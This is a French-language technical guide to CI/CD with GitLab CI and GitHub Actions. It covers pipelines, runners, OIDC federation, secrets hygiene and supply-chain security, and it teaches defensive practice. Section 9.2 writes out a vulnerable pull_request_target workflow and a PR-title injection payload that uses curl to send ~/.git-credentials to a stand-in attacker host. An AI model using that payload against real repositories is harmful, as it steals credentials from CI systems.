🛠 Outils IT
🛠 102 outils 📚 53 docs
🤖 Assistant ☀

CI/CD - GitLab CI et GitHub Actions

1. Principes et vocabulaire

L'intégration continue (CI) valide chaque modification (build, tests, analyses) dès qu'elle est poussée. La livraison continue produit à chaque fusion un artefact déployable ; le déploiement continu va jusqu'à la production sans action humaine. Le but n'est pas l'automatisation en soi mais la réduction du risque par lot : des changements petits, fréquents, réversibles et traçables.

ConceptGitLab CIGitHub Actions
Fichier de définition.gitlab-ci.yml (+ includes).github/workflows/*.yml (un fichier = un workflow)
Unité d'exécutionJobJob (composé de steps)
Ordonnancementstages + needs (DAG)needs entre jobs
Conditionsrules, workflow:ruleson: (déclencheurs), if:
ExécuteurRunner (shell, docker, kubernetes...)Runner hébergé GitHub ou auto-hébergé
Partage de fichiers entre jobsartifactsactions/upload-artifact / download-artifact
Accélérationcacheactions/cache ou cache intégré des actions setup-*
Cibles de déploiementenvironment (+ protégés)environment (+ règles de protection)
Réutilisationinclude, extends, ancres YAML, composants CI/CDReusable workflows, composite actions

1.1 Principes de conception

  • Build once, deploy many : le même artefact (image identifiée par son digest, archive versionnée) est promu de recette en production. On ne reconstruit jamais pour la prod.
  • Configuration externe : l'artefact ne contient aucun paramètre d'environnement ; ceux-ci sont injectés au déploiement.
  • Pipeline rapide : viser moins de 10 minutes jusqu'au retour des tests. Au-delà, les développeurs contournent.
  • Pipeline as code revu comme du code : les fichiers de CI passent en revue (CODEOWNERS) car ils ont accès aux secrets de déploiement.
  • Moindre privilège : chaque job n'a que les droits dont il a besoin ; les secrets de prod ne sont accessibles qu'aux jobs de prod sur branches protégées.
  • Idempotence : relancer un job de déploiement ne doit rien casser.

2. Stratégies de déploiement

StratégiePrincipeRollbackCoût / contraintes
RecreateArrêt de l'ancienne version, démarrage de la nouvelleRedéploiementInterruption de service ; acceptable pour des outils internes
RollingRemplacement progressif des instancesRolling inverse (rollout undo)Deux versions cohabitent : API et schéma de base compatibles obligatoires
Blue/GreenDeux environnements complets, bascule du routage en une foisInstantané (re-bascule)Double capacité ; base de données partagée = migrations compatibles
CanaryPetit pourcentage du trafic vers la nouvelle version, élargi selon les métriquesRemise du poids à 0Nécessite routage pondéré (Gateway API, maillage, LB) et métriques fiables par version
Feature flagsCode déployé éteint, activé par configurationDésactivation du flagDette technique si les flags ne sont pas retirés
La base de données est le vrai problème : rolling, blue/green et canary supposent que deux versions de l'application fonctionnent avec le même schéma. Appliquer le motif expand / contract : (1) ajouter colonnes/tables sans rien casser, (2) déployer le code qui écrit dans les deux, (3) migrer les données, (4) basculer la lecture, (5) supprimer l'ancien dans une version ultérieure. Une migration destructive dans le même déploiement que le code rend le rollback impossible.

3. GitLab CI : pipeline complet

Exemple pour une application PHP conteneurisée : contrôle qualité, tests, build d'image, scan, déploiement en recette automatique et en production manuelle sur tag.

# .gitlab-ci.yml
workflow:
  rules:
    # Pipelines de MR, branche par défaut et tags ; évite les pipelines en double (branche + MR)
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    - if: $CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS
      when: never
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
    - if: $CI_COMMIT_TAG =~ /^v\d+\.\d+\.\d+$/
  auto_cancel:
    on_new_commit: interruptible

stages: [lint, test, build, scan, deploy]

variables:
  IMAGE: $CI_REGISTRY_IMAGE/app
  COMPOSER_CACHE_DIR: "$CI_PROJECT_DIR/.cache/composer"
  FF_USE_FASTZIP: "true"

default:
  image: php:8.3-cli
  interruptible: true
  retry:
    max: 2
    when: [runner_system_failure, stuck_or_timeout_failure]
  tags: [docker]

.composer:
  before_script:
    - apt-get update -qq && apt-get install -y -qq git unzip >/dev/null
    - curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer
    - composer install --no-interaction --no-progress --prefer-dist
  cache:
    key:
      files: [composer.lock]
    paths: [vendor/, .cache/composer/]
    policy: pull-push

lint:
  stage: lint
  extends: .composer
  script:
    - vendor/bin/php-cs-fixer fix --dry-run --diff
    - vendor/bin/phpstan analyse --error-format=gitlab > phpstan.json || (cat phpstan.json; exit 1)
  artifacts:
    when: always
    reports:
      codequality: phpstan.json

test:
  stage: test
  extends: .composer
  needs: []                       # démarre sans attendre le stage lint (DAG)
  services:
    - name: mariadb:11.4
      alias: db
  variables:
    MARIADB_DATABASE: app_test
    MARIADB_ROOT_PASSWORD: test-only
    DATABASE_URL: "mysql://root:test-only@db:3306/app_test"
  script:
    - vendor/bin/phpunit --log-junit junit.xml --coverage-cobertura coverage.xml
  coverage: '/^\s*Lines:\s*\d+.\d+\%/'
  artifacts:
    when: always
    expire_in: 7 days
    reports:
      junit: junit.xml
      coverage_report:
        coverage_format: cobertura
        path: coverage.xml

build-image:
  stage: build
  image: docker:27
  services:
    - name: docker:27-dind
      alias: docker
  variables:
    DOCKER_TLS_CERTDIR: "/certs"
  needs: [lint, test]
  script:
    - echo "$CI_REGISTRY_PASSWORD" | docker login -u "$CI_REGISTRY_USER" --password-stdin "$CI_REGISTRY"
    - docker buildx create --use
    - >
      docker buildx build
      --cache-from type=registry,ref=$IMAGE:buildcache
      --cache-to type=registry,ref=$IMAGE:buildcache,mode=max
      --label org.opencontainers.image.revision=$CI_COMMIT_SHA
      --tag $IMAGE:$CI_COMMIT_SHORT_SHA
      --push --metadata-file build.json .
    - echo "IMAGE_DIGEST=$(grep -o '"containerimage.digest":"[^"]*' build.json | cut -d'"' -f4)" >> build.env
  artifacts:
    reports:
      dotenv: build.env           # IMAGE_DIGEST devient une variable des jobs suivants

trivy:
  stage: scan
  image:
    name: aquasec/trivy:<version-epinglee>
    entrypoint: [""]
  needs: [build-image]
  variables:
    TRIVY_USERNAME: $CI_REGISTRY_USER
    TRIVY_PASSWORD: $CI_REGISTRY_PASSWORD
  script:
    - trivy image --exit-code 1 --severity HIGH,CRITICAL --ignore-unfixed "$IMAGE@$IMAGE_DIGEST"

deploy-staging:
  stage: deploy
  needs: [build-image, trivy]
  image: alpine/helm:<version-epinglee>
  environment:
    name: staging
    url: https://staging.example.com
  resource_group: staging         # un seul déploiement à la fois
  interruptible: false
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
  script:
    - helm upgrade --install app ./chart -n app-staging
        --set image.repository=$IMAGE --set image.digest=$IMAGE_DIGEST
        -f chart/values-staging.yaml --wait --timeout 5m

deploy-production:
  stage: deploy
  needs: [build-image, trivy]
  image: alpine/helm:<version-epinglee>
  environment:
    name: production
    url: https://www.example.com
    deployment_tier: production
  resource_group: production
  interruptible: false
  rules:
    - if: $CI_COMMIT_TAG
      when: manual                # bouton de lancement
  allow_failure: false            # le pipeline reste « bloqué » tant que non joué
  script:
    - helm upgrade --install app ./chart -n app-prod
        --set image.repository=$IMAGE --set image.digest=$IMAGE_DIGEST
        -f chart/values-prod.yaml --wait --timeout 10m

3.1 Points clés

  • rules remplace définitivement only/except (à ne plus utiliser). Les règles sont évaluées dans l'ordre, la première qui correspond gagne ; aucune ne correspond = job absent.
  • needs transforme les stages en graphe : un job démarre dès que ses dépendances sont terminées. needs: [] = démarrage immédiat. needs limite aussi les artefacts téléchargés à ceux des jobs listés.
  • resource_group sérialise les déploiements d'un même environnement, même entre pipelines différents.
  • interruptible + auto_cancel : un nouveau commit annule les pipelines obsolètes, mais jamais un déploiement en cours (interruptible: false).
  • artifacts:reports:dotenv : moyen propre de passer une valeur calculée (digest, version) aux jobs suivants.

3.2 Cache vs artifacts

cacheartifacts
ButAccélérer (dépendances téléchargées)Transmettre un résultat entre jobs, ou le conserver
GarantieAucune : best effort, peut être absentGaranti pour les jobs suivants du pipeline
PortéePar runner (ou stockage partagé S3), par cléStocké sur le serveur GitLab, téléchargeable
Exemplesvendor/, node_modules/, .m2/Binaire compilé, rapports JUnit, plan Terraform, build.env
Clé de cache : indexer la clé sur le fichier de verrouillage (cache:key:files) et utiliser policy: pull sur les jobs qui ne modifient pas les dépendances. Un job ne doit jamais échouer parce que le cache est absent. Pour partager le cache entre plusieurs runners, configurer un cache distribué S3 dans config.toml.

4. GitLab CI : réutilisation, environnements, review apps

4.1 include, extends et composants

include:
  # Fichier d'un projet central versionné (épingler la référence !)
  - project: platform/ci-templates
    ref: v3.2.0
    file: /templates/php.yml
  # Composant du catalogue CI/CD, avec entrées typées
  - component: $CI_SERVER_FQDN/platform/components/trivy@1.4.0
    inputs:
      stage: scan
      severity: HIGH,CRITICAL
  # Fichier local conditionnel
  - local: .gitlab/ci/terraform.yml
    rules:
      - exists: [infra/**/*.tf]

php-tests:
  extends: .php-base               # défini dans templates/php.yml
  script:
    - !reference [.php-base, before_script]
    - vendor/bin/phpunit

Les composants CI/CD (catalogue GitLab) apportent des entrées déclarées avec types et valeurs par défaut (spec:inputs), un versionnement sémantique et une publication centralisée : c'est la manière recommandée de partager des modèles entre projets, plutôt que des includes de fichiers non versionnés.

Include sur une branche : ref: main dans un include signifie que toute modification du projet de templates s'applique instantanément à tous les pipelines, y compris les jobs de prod. Épingler sur un tag, et protéger ce projet comme du code de production.

4.2 Variables et environnements protégés

  • Variable protégée : exposée uniquement aux pipelines de branches/tags protégés. Les secrets de prod doivent l'être, sinon n'importe quel développeur pouvant pousser une branche peut les exfiltrer avec un echo.
  • Variable masquée (ou « masquée et cachée ») : remplacée par [MASKED] dans les logs. Ce n'est pas une protection : un encodage base64 ou un découpage contourne le masquage.
  • Portée d'environnement : une variable peut n'être visible que des jobs ciblant production.
  • Environnements protégés (Premium) : seuls certains utilisateurs/groupes peuvent déployer, avec approbations obligatoires possibles.
  • Type File : la variable est écrite dans un fichier temporaire et la variable contient son chemin (kubeconfig, clés).

4.3 Review apps

review:
  stage: deploy
  image: alpine/helm:<version-epinglee>
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
  environment:
    name: review/$CI_COMMIT_REF_SLUG
    url: https://$CI_COMMIT_REF_SLUG.review.example.com
    on_stop: review-stop
    auto_stop_in: 3 days
  script:
    - helm upgrade --install "review-$CI_COMMIT_REF_SLUG" ./chart -n review --create-namespace
        --set ingressHost=$CI_COMMIT_REF_SLUG.review.example.com
        --set image.repository=$IMAGE --set image.digest=$IMAGE_DIGEST

review-stop:
  stage: deploy
  image: alpine/helm:<version-epinglee>
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
      when: manual
  allow_failure: true
  environment:
    name: review/$CI_COMMIT_REF_SLUG
    action: stop
  variables:
    GIT_STRATEGY: none
  script:
    - helm uninstall "review-$CI_COMMIT_REF_SLUG" -n review
Slugs : $CI_COMMIT_REF_SLUG est limité à 63 caractères, en minuscules, et compatible DNS. Prévoir un wildcard DNS *.review.example.com et un certificat wildcard (DNS-01) pour éviter une émission par review app.

4.4 Pipelines parent-enfant et multi-projets

# Monorepo : un pipeline enfant par composant modifié
trigger-api:
  stage: build
  trigger:
    include: services/api/.gitlab-ci.yml
    strategy: depend               # le parent reflète l'état de l'enfant
  rules:
    - changes: [services/api/**/*]

# Déclencher le dépôt de déploiement (GitOps) après un build
trigger-deploy-repo:
  stage: deploy
  trigger:
    project: platform/deploy
    branch: main
  variables:
    UPSTREAM_IMAGE_DIGEST: $IMAGE_DIGEST

5. Runners GitLab

ExecutorIsolationUsageRisques
shellAucune : commandes exécutées par l'utilisateur gitlab-runner sur l'hôteDéploiement vers un réseau isolé, besoins matériels spécifiquesÉtat persistant entre jobs, tout job accède à tout ce que voit l'hôte ; à réserver à un projet de confiance
dockerConteneur par jobCas généralMode privileged (Docker-in-Docker) = root sur l'hôte ; montage de /var/run/docker.sock = idem
docker-autoscaler / instanceVM éphémères (fleeting)Charge variable, isolation forteCoût et délai de démarrage
kubernetesPod par jobPlateforme déjà sur Kubernetes, montée en chargeBuilds d'images sans privilège à concevoir ; ServiceAccount du runner à restreindre

5.1 Enregistrement (flux actuel)

Les anciens registration tokens sont dépréciés et désactivés par défaut sur les versions récentes de GitLab. Le flux actuel : on crée le runner dans l'interface (Paramètres > CI/CD > Runners > New project runner) ou via l'API, en définissant tags, protection et description côté serveur ; GitLab fournit un runner authentication token (préfixe glrt-) à utiliser une seule fois sur la machine.

# Installation (Debian/Ubuntu) depuis le dépôt officiel GitLab Runner
curl -L "https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.deb.sh" | sudo bash
sudo apt-get install -y gitlab-runner

sudo gitlab-runner register --non-interactive \
  --url "https://gitlab.example.com" \
  --token "$RUNNER_AUTH_TOKEN" \
  --executor docker \
  --docker-image "alpine:3.20" \
  --description "docker-runner-01"

sudo gitlab-runner verify
sudo gitlab-runner list
# /etc/gitlab-runner/config.toml (extrait commenté)
concurrent = 8
check_interval = 3

[[runners]]
  name = "docker-runner-01"
  url = "https://gitlab.example.com"
  executor = "docker"
  [runners.docker]
    image = "alpine:3.20"
    privileged = false                 # true seulement sur un runner dédié au build d'images
    pull_policy = ["always"]           # évite qu'un job réutilise une image locale piégée
    allowed_images = ["registry.example.com/*", "docker.io/library/*"]
    volumes = ["/cache"]
    shm_size = 268435456
  [runners.cache]
    Type = "s3"
    Shared = true
    [runners.cache.s3]
      ServerAddress = "s3.example.internal"
      BucketName = "runner-cache"
Runners partagés et sécurité : un runner exécute du code arbitraire venant de n'importe quelle branche des projets qui y ont accès. Règles : (1) cocher « Protected » sur les runners qui ont accès à la prod (ils ne prennent que les jobs des branches/tags protégés) ; (2) séparer les runners de build (privilégiés, isolés, sans accès réseau interne) des runners de déploiement (non privilégiés, accès réseau ciblé) ; (3) ne jamais donner à un runner partagé une identité cloud ou des clés SSH sur son hôte ; (4) préférer des VM éphémères pour les projets externes ou open source ; (5) mettre à jour le runner (CVE régulières).

6. GitHub Actions : workflow complet

# .github/workflows/ci.yml
name: ci

on:
  pull_request:
  push:
    branches: [main]
    tags: ["v*.*.*"]

permissions:
  contents: read                     # défaut minimal pour TOUS les jobs

concurrency:
  group: ci-${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}

jobs:
  test:
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    strategy:
      fail-fast: false
      matrix:
        php: ["8.2", "8.3", "8.4"]
        include:
          - php: "8.3"
            coverage: true
    services:
      db:
        image: mariadb:11.4
        env:
          MARIADB_DATABASE: app_test
          MARIADB_ROOT_PASSWORD: test-only
        ports: ["3306:3306"]
        options: >-
          --health-cmd="healthcheck.sh --connect --innodb_initialized"
          --health-interval=5s --health-retries=10
    steps:
      - uses: actions/checkout@v5
        with:
          persist-credentials: false   # le GITHUB_TOKEN n'est pas laissé dans .git/config
      - uses: shivammathur/setup-php@v2
        with:
          php-version: ${{ matrix.php }}
          coverage: ${{ matrix.coverage && 'xdebug' || 'none' }}
      - name: Cache Composer
        uses: actions/cache@v4
        with:
          path: ~/.cache/composer
          key: composer-${{ runner.os }}-${{ matrix.php }}-${{ hashFiles('composer.lock') }}
          restore-keys: composer-${{ runner.os }}-${{ matrix.php }}-
      - run: composer install --no-interaction --no-progress --prefer-dist
      - run: vendor/bin/phpstan analyse --error-format=github
      - run: vendor/bin/phpunit --log-junit junit.xml
        env:
          DATABASE_URL: mysql://root:test-only@127.0.0.1:3306/app_test
      - uses: actions/upload-artifact@v4
        if: always()
        with:
          name: junit-php${{ matrix.php }}
          path: junit.xml
          retention-days: 7

  image:
    needs: test
    if: github.event_name == 'push'
    runs-on: ubuntu-24.04
    permissions:
      contents: read
      packages: write                # push vers ghcr.io
      id-token: write                # signature cosign keyless
      attestations: write
    outputs:
      digest: ${{ steps.build.outputs.digest }}
    steps:
      - uses: actions/checkout@v5
        with: { persist-credentials: false }
      - uses: docker/setup-buildx-action@v3
      - uses: docker/login-action@v3
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}
      - id: meta
        uses: docker/metadata-action@v5
        with:
          images: ghcr.io/${{ github.repository }}
          tags: |
            type=sha
            type=semver,pattern={{version}}
      - id: build
        uses: docker/build-push-action@v6
        with:
          context: .
          push: true
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}
          cache-from: type=gha
          cache-to: type=gha,mode=max
          provenance: mode=max
          sbom: true
      - uses: sigstore/cosign-installer@v3
      - run: cosign sign --yes "ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}"

  deploy-staging:
    needs: image
    if: github.ref == 'refs/heads/main'
    uses: ./.github/workflows/deploy.yml
    with:
      environment: staging
      digest: ${{ needs.image.outputs.digest }}
    secrets: inherit

  deploy-production:
    needs: image
    if: startsWith(github.ref, 'refs/tags/v')
    uses: ./.github/workflows/deploy.yml
    with:
      environment: production
      digest: ${{ needs.image.outputs.digest }}
    secrets: inherit
Versions des actions : les numéros de version majeure ci-dessus sont indicatifs et lisibles ; en production, épingler chaque action tierce par SHA de commit complet (cf. section 9). Vérifier la dernière version de chaque action sur sa page avant usage.

6.1 Points clés

  • permissions au niveau du workflow réduit le GITHUB_TOKEN au strict minimum ; chaque job élargit seulement ce qu'il lui faut. Régler aussi le défaut de l'organisation sur « read ».
  • concurrency : annule les exécutions obsolètes d'une PR ; pour un déploiement, utiliser un groupe par environnement avec cancel-in-progress: false.
  • matrix : fail-fast: false pour voir toutes les combinaisons en échec ; include/exclude pour les cas particuliers ; max-parallel pour ménager une ressource partagée.
  • timeout-minutes : le défaut est de 360 minutes ; un job bloqué consomme des minutes facturées.
  • Expressions : ${{ }} est évalué avant l'exécution du shell. Ne jamais insérer directement une donnée contrôlée par l'utilisateur (titre de PR, nom de branche) dans un run: (cf. section 9).

7. GitHub Actions : réutilisation et environnements

7.1 Reusable workflow

# .github/workflows/deploy.yml
name: deploy
on:
  workflow_call:
    inputs:
      environment: { type: string, required: true }
      digest:      { type: string, required: true }

permissions:
  contents: read
  id-token: write

jobs:
  deploy:
    runs-on: ubuntu-24.04
    environment:
      name: ${{ inputs.environment }}
      url: ${{ vars.APP_URL }}
    concurrency:
      group: deploy-${{ inputs.environment }}
      cancel-in-progress: false
    steps:
      - uses: actions/checkout@v5
        with: { persist-credentials: false }
      - uses: azure/login@v2
        with:
          client-id: ${{ vars.AZURE_CLIENT_ID }}
          tenant-id: ${{ vars.AZURE_TENANT_ID }}
          subscription-id: ${{ vars.AZURE_SUBSCRIPTION_ID }}
      - uses: azure/setup-kubectl@v4
      - uses: azure/setup-helm@v4
      - run: az aks get-credentials -g ${{ vars.AKS_RG }} -n ${{ vars.AKS_NAME }} --overwrite-existing
      - run: kubelogin convert-kubeconfig -l azurecli
      - name: Helm upgrade
        env:
          DIGEST: ${{ inputs.digest }}
          TARGET_ENV: ${{ inputs.environment }}
        run: |
          helm upgrade --install app ./chart -n "app-$TARGET_ENV" \
            --set image.repository="ghcr.io/$GITHUB_REPOSITORY" \
            --set image.digest="$DIGEST" \
            -f "chart/values-$TARGET_ENV.yaml" --wait --timeout 10m

7.2 Composite action

# .github/actions/setup-app/action.yml
name: setup-app
description: Installe PHP, Composer et les dépendances avec cache
inputs:
  php-version: { required: false, default: "8.3" }
runs:
  using: composite
  steps:
    - uses: shivammathur/setup-php@v2
      with: { php-version: "${{ inputs.php-version }}", tools: composer }
    - uses: actions/cache@v4
      with:
        path: ~/.cache/composer
        key: composer-${{ runner.os }}-${{ inputs.php-version }}-${{ hashFiles('composer.lock') }}
    - shell: bash
      run: composer install --no-interaction --no-progress --prefer-dist

# Utilisation dans un job :
#   - uses: ./.github/actions/setup-app
#     with: { php-version: "8.4" }
Reusable workflowComposite action
GranularitéUn ou plusieurs jobs completsUne suite de steps dans un job
Runner / environnementDéfinit son propre runs-on, ses environnements, ses permissionsHérite du job appelant
SecretsPassés explicitement ou secrets: inheritUniquement via inputs
Usage typePipeline de déploiement standard d'une organisationFactoriser une installation d'outils

7.3 Environments et approbations

  • Required reviewers : le job attend l'approbation d'une personne ou équipe désignée (option « prevent self-review » pour interdire à l'auteur d'approuver son propre déploiement).
  • Wait timer : délai avant déploiement (fenêtre d'annulation).
  • Deployment branches and tags : seuls main ou les tags v* peuvent cibler production. Sans cette règle, une branche quelconque pourrait déclarer environment: production et obtenir ses secrets.
  • Secrets et variables d'environnement : visibles uniquement des jobs qui ciblent cet environnement, après approbation.
  • Les règles de protection d'environnement sur dépôts privés dépendent du plan GitHub : vérifier la disponibilité selon l'abonnement.

8. Secrets et fédération OIDC

Le meilleur secret de CI est celui qui n'existe pas. Avec OIDC, la plateforme CI émet pour chaque job un jeton JWT signé décrivant son contexte (dépôt, branche, environnement, workflow). Le fournisseur cloud ou Vault fait confiance à cet émetteur et échange le jeton contre des identifiants éphémères, uniquement si les revendications (claims) correspondent à une règle précise. Plus de clé d'accès longue durée à faire tourner ou à voir fuiter.

PlateformeActivationClaim de restriction principal
GitHub Actionspermissions: id-token: writesub = repo:org/depot:environment:production ou repo:org/depot:ref:refs/heads/main
GitLab CIid_tokens: avec audsub = project_path:groupe/projet:ref_type:branch:ref:main ; aussi ref_protected, environment

8.1 Azure (identité fédérée)

# Côté Azure : application (ou identité managée) + credential fédéré
az ad app create --display-name "gh-deploy-app"
az ad sp create --id <appId>
az ad app federated-credential create --id <appId> --parameters '{
  "name": "github-production",
  "issuer": "https://token.actions.githubusercontent.com",
  "subject": "repo:exemple-org/app:environment:production",
  "audiences": ["api://AzureADTokenExchange"]
}'
az role assignment create --assignee <appId> --role "Azure Kubernetes Service Cluster User Role" \
  --scope /subscriptions/<sub-id>/resourceGroups/rg-app-prod

Côté workflow, l'action azure/login avec client-id, tenant-id et subscription-id (section 7.1) : aucun secret n'est stocké. Voir Azure et Entra ID.

8.2 AWS

# Politique de confiance du rôle IAM (fournisseur OIDC token.actions.githubusercontent.com déclaré)
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": { "Federated": "arn:aws:iam::<account-id>:oidc-provider/token.actions.githubusercontent.com" },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
        "token.actions.githubusercontent.com:sub": "repo:exemple-org/app:environment:production"
      }
    }
  }]
}
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::<account-id>:role/gh-deploy-prod
          aws-region: eu-west-3
Condition trop large = faille : une condition StringLike avec repo:exemple-org/* permet à n'importe quel dépôt de l'organisation (y compris une branche de test ou un fork interne) d'obtenir le rôle de production. Toujours restreindre au dépôt ET à l'environnement ou à la branche protégée.

8.3 HashiCorp Vault depuis GitLab

# Côté Vault
vault auth enable jwt
vault write auth/jwt/config \
  oidc_discovery_url="https://gitlab.example.com" bound_issuer="https://gitlab.example.com"
vault write auth/jwt/role/app-prod - <<'EOF'
{
  "role_type": "jwt",
  "user_claim": "user_email",
  "bound_audiences": ["https://vault.example.com"],
  "bound_claims_type": "glob",
  "bound_claims": {
    "project_path": "groupe/app",
    "ref_protected": "true",
    "environment": "production"
  },
  "token_policies": ["app-prod-read"],
  "token_ttl": "10m"
}
EOF
# Côté .gitlab-ci.yml
deploy-production:
  id_tokens:
    VAULT_ID_TOKEN:
      aud: https://vault.example.com
  secrets:                          # mot-clé natif (GitLab Premium)
    DB_PASSWORD:
      vault: app/prod/db/password@secret
      file: false
  script:
    - ./deploy.sh
# Sans le mot-clé « secrets » : utiliser la CLI vault avec
#   vault write -field=token auth/jwt/login role=app-prod jwt="$VAULT_ID_TOKEN"

8.4 Règles d'hygiène

  • Ne jamais afficher un secret, même masqué ; désactiver set -x dans les scripts qui manipulent des secrets.
  • Passer les secrets aux outils par variable d'environnement ou fichier, pas en argument de ligne de commande (visible dans ps).
  • Révoquer immédiatement un secret affiché dans un log : les logs sont conservés et téléchargeables.
  • Activer la détection de secrets à la poussée (GitHub secret scanning / push protection, GitLab secret detection, ou gitleaks en pre-commit et en CI).

9. Sécurité de la chaîne d'approvisionnement

9.1 Épingler les actions et images par empreinte

Un tag (@v4) est un pointeur mobile : si le dépôt de l'action est compromis, le tag peut être redirigé vers du code malveillant qui s'exécute avec vos secrets. C'est exactement ce qui s'est produit en mars 2025 avec l'action populaire tj-actions/changed-files, dont les tags ont été réécrits pour exfiltrer les secrets des workflows dans les logs.

# Mauvais : tag mobile
- uses: un-editeur/une-action@v2

# Bon : SHA de commit complet (40 caractères) + commentaire de version
- uses: un-editeur/une-action@<SHA_COMPLET_40_CARACTERES>  # v2.3.1

# Images de conteneurs : par digest
image: registry.example.com/outils/helm@sha256:<digest>

Dependabot et Renovate savent mettre à jour les SHA épinglés en conservant le commentaire de version. Au niveau organisation GitHub, on peut imposer une liste d'actions autorisées et l'épinglage par SHA.

9.2 Le piège pull_request_target et l'injection d'expressions

DéclencheurCode exécutéSecrets / tokenRisque
pull_requestCelui de la PR (fusion)Pas de secrets pour les forks, token en lectureFaible
pull_request_targetCelui de la branche de baseSecrets et token en écriture disponiblesCritique si le workflow fait un checkout du code de la PR puis l'exécute (build, tests, scripts npm)
workflow_runBranche de baseSecrets disponiblesÉlevé si on télécharge et exécute/extrait les artefacts produits par la PR
# DANGEREUX : un fork modifie package.json -> exécution de code avec les secrets
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v5
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm ci && npm test

# DANGEREUX : injection de commande via le titre de la PR
      - run: echo "Titre : ${{ github.event.pull_request.title }}"
# Un titre comme  a"; curl -d @$HOME/.git-credentials https://attaquant.example; echo "
# devient du shell exécuté.

# CORRECT : passer la donnée par variable d'environnement
      - run: echo "Titre : $PR_TITLE"
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
Outils d'audit : zizmor et actionlint analysent statiquement les workflows GitHub (injections, permissions excessives, déclencheurs dangereux, actions non épinglées). Les intégrer en CI sur le dossier .github/. OpenSSF Scorecard note la posture globale d'un dépôt.

9.3 Analyses automatisées

TypeCibleOutilsQuand bloquer
SASTCode sourceSemgrep, CodeQL, PHPStan/Psalm (taint), SonarQubeNouvelles alertes de sévérité haute dans le diff
SCA / dépendancesLockfilesTrivy fs, OSV-Scanner, composer audit, npm audit, Dependabot alertsCVE critique avec correctif disponible
ConteneursImage construiteTrivy image, GrypeHIGH/CRITICAL corrigeables (--ignore-unfixed)
IaCTerraform, manifests, DockerfileTrivy config, Checkov, kube-linterErreurs de configuration critiques
SecretsHistorique Gitgitleaks, trufflehog, détection nativeToujours
DASTApplication déployée (recette)OWASP ZAP baselineRapport, rarement bloquant
# Trivy : trois usages
trivy fs --scanners vuln,secret,misconfig --exit-code 1 --severity HIGH,CRITICAL .
trivy image --exit-code 1 --ignore-unfixed --severity HIGH,CRITICAL registry.example.com/app@sha256:<digest>
trivy config --exit-code 1 ./infra

# Exceptions documentées et datées, versionnées dans le dépôt
cat .trivyignore.yaml

9.4 SBOM, provenance et signature

# SBOM au format CycloneDX ou SPDX
syft registry.example.com/app@sha256:<digest> -o cyclonedx-json > sbom.cdx.json

# Signature « keyless » (Sigstore) : identité OIDC du job CI, certificat éphémère,
# inscription dans le journal de transparence Rekor
cosign sign --yes registry.example.com/app@sha256:<digest>
cosign attest --yes --type cyclonedx --predicate sbom.cdx.json registry.example.com/app@sha256:<digest>

# Vérification (au déploiement, ou par politique d'admission Kubernetes : Kyverno, Sigstore policy-controller)
cosign verify registry.example.com/app@sha256:<digest> \
  --certificate-identity-regexp '^https://github.com/exemple-org/app/.github/workflows/.+@refs/tags/v' \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com
Signer le digest, pas le tag : on signe toujours image@sha256:.... Signer un tag mobile n'a pas de sens. La vérification doit contraindre l'identité exacte du signataire (workflow et référence), sinon n'importe quelle signature Sigstore valide serait acceptée.

9.5 Dependabot et Renovate

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule: { interval: weekly }
    groups:
      actions: { patterns: ["*"] }
  - package-ecosystem: composer
    directory: /
    schedule: { interval: weekly }
    open-pull-requests-limit: 10
  - package-ecosystem: docker
    directory: /
    schedule: { interval: weekly }

Renovate (auto-hébergé ou application) couvre GitLab et GitHub, gère les digests, les charts Helm, les modules Terraform, les regroupements et la fusion automatique des mises à jour mineures si les tests passent. Configurer un délai de maturité (par exemple minimumReleaseAge de quelques jours) protège contre les paquets malveillants publiés puis retirés rapidement.

10. Construire des images de conteneurs

10.1 Dockerfile multi-stage (PHP-FPM)

# syntax=docker/dockerfile:1
FROM composer:2 AS vendor
WORKDIR /app
COPY composer.json composer.lock ./
RUN --mount=type=cache,target=/tmp/cache \
    composer install --no-dev --no-scripts --no-interaction --prefer-dist --optimize-autoloader

FROM node:22-alpine AS assets
WORKDIR /app
COPY package.json package-lock.json ./
RUN --mount=type=cache,target=/root/.npm npm ci
COPY assets/ assets/
RUN npm run build

FROM php:8.3-fpm-alpine AS runtime
RUN apk add --no-cache icu-libs \
 && docker-php-ext-install -j"$(nproc)" opcache pdo_mysql \
 && cp "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini"
WORKDIR /var/www/app
COPY --from=vendor /app/vendor ./vendor
COPY --from=assets /app/public/build ./public/build
COPY . .
USER www-data
HEALTHCHECK NONE
# (sous Kubernetes, les probes remplacent HEALTHCHECK)
  • Copier les fichiers de dépendances avant le code : la couche d'installation reste en cache tant que les lockfiles ne changent pas.
  • .dockerignore obligatoire : .git, .env, node_modules, tests, sauvegardes. Sinon secrets et historique finissent dans l'image.
  • Les montages --mount=type=cache et --mount=type=secret (BuildKit) évitent de laisser cache ou secret dans une couche. Un ARG ou ENV contenant un secret reste lisible dans l'historique de l'image.
  • Exécuter en utilisateur non-root ; image de base minimale (alpine, distroless, ou images durcies) et mise à jour régulière.

